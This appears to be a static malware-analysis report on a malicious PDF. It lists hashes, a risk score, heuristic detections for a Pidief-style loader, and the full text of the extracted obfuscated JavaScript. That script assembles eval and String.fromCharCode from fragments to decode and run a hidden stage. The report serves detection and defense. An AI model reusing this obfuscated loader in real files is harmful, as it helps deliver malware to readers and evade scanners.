Malicious PDF — malware analysis report

Static analysis result for SHA-256 387a7f7e62d79fa0…

MALICIOUS

PDF

44.4 KB First seen: 2012-06-14
MD5: 295545bf422de112d5cec65c4a1a2fba SHA-1: c48bd19afe62e921653975103df7da49a7fe5bf9 SHA-256: 387a7f7e62d79fa0aca2abbbdfbafb9a2d7578f42e9fc0c944f2b541cd713237
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier also strongly flagged this PDF as malicious. The embedded JavaScript, named 'javascript_obj0001_000.js', is likely intended to perform malicious actions such as downloading a second-stage payload or exploiting vulnerabilities. The document body text 'test' provides no contextual information.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAEF5 485 bytes
SHA-256: 71f7aad28b134a56d31d20df551eee4903a7471cc390c908defb8d4cb6b67c0e
Preview script
First 1,000 lines of the extracted script
dmutv='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+='b'+'st';qqq='split';}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
zdt=e('ti'+'tle');
s=zdt.substr(t.length + 8,3)+'str';
q=zdt[s](1,(1,t.length + 7));
svgj=e('S'+'tring.fro'+q);
q=zdt[s](14)[qqq]('u');
k=q.length;
for (i = 0; i != k; i+=2) {
	iecnu = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	dmutv += svgj(iecnu);
}
e(dmutv);

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